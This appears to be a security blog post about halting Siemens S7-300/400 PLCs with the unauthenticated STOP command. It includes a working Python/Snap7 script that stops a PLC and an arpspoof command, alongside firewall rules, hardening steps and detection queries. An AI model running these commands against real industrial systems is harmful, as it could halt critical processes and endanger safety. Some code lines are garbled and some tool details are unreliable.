Listen to this Post
Introduction:
For over two decades, cybersecurity researchers have known that sending a specific network command to a Siemens S7‑300/400 PLC can force its processor into a STOP state, halting industrial processes. What was once merely a proof‑of‑concept (PoC) has now reportedly been weaponized: the Dragos 2026 report confirms that China has developed an attack tool—dubbed “S7‑PLASER” in underground chatter—that exploits this decades‑old vector. While some experts downplay the risk, arguing that a STOP command simply de‑energizes outputs without causing physical damage, the reality is that loss of view and loss of control can cascade into catastrophic safety failures in critical infrastructure.
Learning Objectives:
- Understand the mechanics of the Siemens S7 STOP command and why it remains exploitable.
- Learn to simulate the attack in a lab environment using open‑source tools.
- Master defensive configurations, including network segmentation and PLC logic hardening.
You Should Know:
- The S7 STOP Command – Anatomy of a Legacy Vulnerability
The Siemens S7‑300/400 family uses the proprietary S7 protocol (ISO‑on‑TCP, port 102). A crafted “PLC STOP” function (0x29) can be sent to the target without authentication if the programmer access level is not protected.
What it does:
- Forces the CPU into STOP mode → all outputs are de‑energized (fail‑safe state).
- HALT instruction execution – the process image is no longer updated.
Extended Context:
Although Ralph Langner (of Stuxnet fame) suggests that “loss of control is nonsense because outputs de‑energize,” this view ignores scenarios where a stopped PLC blinds the HMI/SCADA. Operators may not realise the PLC is halted, leading to incorrect manual interventions.
2. Simulating the Attack in a Lab Environment
Linux (using Python + Snap7):
Install the Snap7 library and use this script to send a STOP command:
import snap7
Replace with your PLC's IP
plc = snap7.client.Client()
plc.connect('192.168.1.10', 0, 1)
Send STOP
plc.plc_stop()
print("[+] STOP command sent. Check PLC status.")
Verify
status = plc.get_cpu_state()
print(f"CPU State: {status}") Should return "S7CpuStatusStop"
plc.disconnect()
Windows (using LibNoDave or PLC‑analyser):
Download PLC‑analyser (GUI tool) – connect to the PLC and use the “Stop CPU” function. Ensure you have a Siemens industrial Ethernet card or a common commercial NIC with proper ISO‑on‑TCP support.
Verification:
- On Siemens TIA Portal, monitor the CPU diagnostics buffer.
- Observe that all output modules are turned off.
3. Why “Just De‑energising” Can Still Cause Havoc
Step‑by‑Step Risk Scenario:
- PLC STOP → Outputs de‑energised (e.g., pumps stop).
- HMI still shows old process values because communication is broken or cached.
- Operator sees normal values but no flow – assumes sensor failure.
- Manual override may attempt to restart pumps, causing water hammer or pressure surges.
Command to monitor PLC status via Siemens CLI (Linux):
Using s7cmd tool (https://github.com/git-kick/ioBroker.s7) s7cmd -t 192.168.1.10 -p 102 plcinfo
4. Defensive Measures – Securing S7‑300/400
A. Network Segmentation (Defense in Depth)
On a Linux-based industrial firewall (e.g., pfSense or iptables):
Block all S7 traffic except from engineering stations iptables -A FORWARD -p tcp --dport 102 -s 10.10.1.0/24 -j ACCEPT iptables -A FORWARD -p tcp --dport 102 -j DROP
Windows Firewall via PowerShell:
New-NetFirewallRule -DisplayName "Block S7 from unauthorized" -Direction Inbound -LocalPort 102 -Protocol TCP -Action Block -RemoteAddress "192.168.2.0/24"
B. PLC‑Level Hardening
- In TIA Portal, set CPU protection level to “Full protection (write‑protection).”
- Disable PUT/GET communication if not required.
- Enable “Compare blocks during online download” to prevent unauthorised changes.
- Advanced Exploitation – Combining STOP with Other Techniques
Attackers may chain STOP with:
- ARP spoofing to hijack engineering station communications.
- Modbus injection to manipulate I/O while the PLC is halted.
- Firmware downgrade to re‑enable old vulnerabilities.
Linux command to perform ARP spoofing (demonstrate risk):
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 PLC thinks gateway is attacker
- Detection – Finding the Needle in OT Logs
Enable Syslog forwarding on Siemens PLCs (via CP or S7‑1500 migration) and monitor for:
– Unexpected CPU STOP events.
– Multiple failed connection attempts on port 102.
– Engineering station access outside maintenance windows.
Sample SIEM query (Splunk):
index=ot sourcetype="siemens:syslog" "CPUSTOP" OR "RequestSTOP" | table _time, src_ip, plc_name
7. Patch & Mitigation – What Siemens Says
Siemens has released security updates (SSA‑222538) for newer firmware, but many S7‑300/400 remain unpatched due to end‑of‑life status. Recommended workarounds:
– Use a secure VPN for remote access (e.g., OpenVPN with certificate authentication).
– Deploy an industrial IPS like Suricata with rules for S7 STOP detection.
Suricata rule example:
alert tcp any any -> any 102 (msg:"S7 Potential STOP Command"; content:"|29|"; within:1; sid:1000001;)
What Undercode Say:
- Key Takeaway 1: A 20‑year‑old PoC is now a state‑sponsored weapon – the barrier between IT “theoretical” exploits and OT “practical” damage has collapsed.
- Key Takeaway 2: De‑energising outputs is not safe by default; loss of visibility can lead to operator errors worse than the initial fault.
Analysis: The Dragos 2026 revelation is not about Chinese sophistication, but about the eternal persistence of legacy vulnerabilities in critical infrastructure. While Langner’s dismissal of “loss of control” is technically correct from a pure logic standpoint, it ignores the human‑machine interface gap. Operators need to see the process state; a blind PLC is a silent bomb. The real lesson is that OT security cannot rely on “physical failsafe” alone – we must secure the entire kill chain from network to HMI. Expect regulators to mandate stricter segmentation and real‑time monitoring for all end‑of‑life PLCs.
Prediction: Within 12 months, we will see at least one major incident where a halted PLC leads to a secondary physical accident (e.g., tank overflow or pipeline rupture) because operators were flying blind. This will force ICS‑CERT to issue an emergency directive requiring immediate isolation or replacement of all exposed S7‑300/400 controllers.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ralph Langner – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
